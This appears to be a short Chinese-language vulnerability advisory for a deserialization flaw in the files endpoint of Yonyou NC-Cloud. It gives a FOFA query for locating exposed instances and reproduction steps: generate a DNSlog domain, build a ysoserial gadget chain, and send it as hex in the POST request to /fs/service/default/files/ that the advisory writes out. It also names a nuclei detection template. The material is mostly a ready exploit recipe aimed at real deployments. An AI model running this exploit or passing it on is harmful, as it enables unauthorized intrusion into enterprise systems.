用友NC-Cloud files存在反序列化漏洞
一、漏洞简介
用友NC Cloud是用友推出的大型企业数字化平台。用友NC-Cloud files存在反序列化漏洞
二、影响版本
- 用友NC-Cloud
三、资产测绘
- fofa
app="用友-NC-Cloud" - 登录页面
四、漏洞复现
- 用yakit生成dnslog域名
- 使用yso生成利用链
- 将上一步生成的hex数据替换payload字段，探测是否存在漏洞
POST /fs/service/default/files/ HTTP/1.1
Host: {hostname}
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36
Connection: close
Content-Length: 1354
Accept-Encoding: gzip, deflate
{{hexd(payload)}}
nuclei脚本
用友-nc-cloud-files-反序列化.yaml